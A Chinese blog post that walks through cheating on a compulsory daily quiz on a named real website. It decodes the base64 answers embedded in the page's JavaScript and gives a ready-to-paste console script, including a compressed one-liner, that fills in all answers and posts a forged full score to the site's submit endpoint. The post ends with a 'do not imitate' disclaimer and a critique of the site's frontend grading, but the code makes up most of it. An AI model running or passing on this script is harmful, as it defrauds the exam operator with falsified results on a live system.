一条求助信息
昨天朋友突然发来微信,说自己在帮父亲做一份每日考题,是强制要求完成的。她从朋友手中弄了一份 题号->答案
的表格,其中题号是 2-4 位的英文编码,但是线上小程序都是一道道题目,题号都是顺序的数字,于是问我怎么能看到题号?
编码大概如下:
1 | |-------|-------| |
嗯虽然有悖答题道德,我还是看了下这个网站 https://lf.health-china.com/
,不看不知道,一看把我逗笑了,部分代码节选 (exam.html
):
1 | <div val="0" valtype="1" class="topic_page"> |
每道题目的 div 都包含 class="topic_page"
的 attr。在 class="analysisDiv"
的 div 中,完整包含了答案解析,只不过其中 class
样式默认 display:none
。其中像编码的一段东西: UWs4cUczRA==
大概就是加密过的答案。
于是我说告诉她,这完全可以直接看着解析做啊。但这还不是结束……
解码
继续看这个页面的 js 代码:
1 | var topics = '[{"answer":"c2Zva1NURA==","class":1},{"answer":"ejJhU3NEQw==","class":1},{"answer":"UUFYdnRJQg==","class":1},{"answer":"NVhxakNMQg==","class":1},{"answer":"aUdJS1p1RA==","class":1},{"answer":"amV0WnZxQUJDRA==","class":2},{"answer":"TVZMMWtUQUJDRA==","class":2},{"answer":"UlpXQVlmQUI=","class":2},{"answer":"ZUJ5cEpUQUJDRA==","class":2},{"answer":"b0o5OFd1QkM=","class":2},{"answer":"a0Y4UjFwMQ==","class":5},{"answer":"aVBCalRFMA==","class":5},{"answer":"Z0tmcjZQMQ==","class":5},{"answer":"ejhTSGVEMA==","class":5},{"answer":"UkYzNmZzMA==","class":5},{"answer":"RE5Vb21iMA==","class":5},{"answer":"VmxKUUtiMQ==","class":5},{"answer":"UkFneWVGMQ==","class":5},{"answer":"WW9EdUs1MQ==","class":5},{"answer":"SmdScW9BMA==","class":5}]'; |
这个 topics = JSON.parse(topics)
操作显然证明是后端使用模板页面技术,直接把字符串数据塞到了静态页面里。这个估计就是解码的关键了,继续向下看:
1 | $(".sureButton").on("click", function() { |
这个从 topics
数组中解码得到的 ranswers
,又与 answer
进行了相等比较,很可能就是答案了。打开浏览器,从控制台输入以下命令验证猜想:
1 | var topics = '[{"answer":"c2Zva1NURA==","class":1},{"answer":"ejJhU3NEQw==","class":1},{"answer":"UUFYdnRJQg==","class":1},{"answer":"NVhxakNMQg==","class":1},{"answer":"aUdJS1p1RA==","class":1},{"answer":"amV0WnZxQUJDRA==","class":2},{"answer":"TVZMMWtUQUJDRA==","class":2},{"answer":"UlpXQVlmQUI=","class":2},{"answer":"ZUJ5cEpUQUJDRA==","class":2},{"answer":"b0o5OFd1QkM=","class":2},{"answer":"a0Y4UjFwMQ==","class":5},{"answer":"aVBCalRFMA==","class":5},{"answer":"Z0tmcjZQMQ==","class":5},{"answer":"ejhTSGVEMA==","class":5},{"answer":"UkYzNmZzMA==","class":5},{"answer":"RE5Vb21iMA==","class":5},{"answer":"VmxKUUtiMQ==","class":5},{"answer":"UkFneWVGMQ==","class":5},{"answer":"WW9EdUs1MQ==","class":5},{"answer":"SmdScW9BMA==","class":5}]'; |
可以看到控制台输出了 D
,成功!下一步编写批量输出的指令,顺带将 0、1 转意为 对、错:
1 | topics.forEach((e,i) => {var a=atob(e.answer).substring(6);console.log(i+1,a=='0'?'对':a=='1'?'错':a)}) |
输出:
1 | 1 "D" |
更进一步!
事已至此,其实完全足够了;但既然已经得到答案,再照一道一道地点一遍题目,未免也太无聊。为了节省这没意义的消磨,我继续看了看原页面的 js,直到看到提交操作:
1 | function submit_exam() { |
其中 info 便是直接从页面各个 topic 下加载的题目信息数组,其中 topic_id 是真实题号(题库中的题号,而非页面上的题号),user_answer 是用户回答。
而 grade 成绩满分就是十分,于是乎,可以进入页面后直接运行命令填充答案,并提交表单:
1 | if (info.length == 0) { |
压缩后的代码:
1 | if (info.length == 0) {for (var q = 0; q < $('.topic_id').length; q++) {info[q] = {'topic_id': $('.topic_id').eq(q).val(),'user_answer': ''}}};topics.forEach((e, i) => {var a = $.base64.decode(e.answer).substring(6);info[i].user_answer = a;});$.post("https://lf.health-china.com/exam/submit_topic.html", {info: info,grade: 10}, function(msg) {if (msg.code != 1000) {layer.msg(msg.message);return} else {setTimeout(function() {layer.msg(msg.message);}, 1000);setTimeout(function() {location.href = "https://lf.health-china.com/exam/exam_result.html"}, 2000);}}); |
总结【请勿模仿 PAP】
- 既然都有后端生成随机题目了,为什么不把判断答案放在后端操作?第一锅由该小程序外包来背;
- 如果说安全锁可防君子不防小人,但如果没有锁,无成本投机取巧过于挑战人性;
- 虽然这个小程序可能没多少人研究,但网络安全意识普及仍然有很长的路要走;
- Anyway 仅供参考,不宜模仿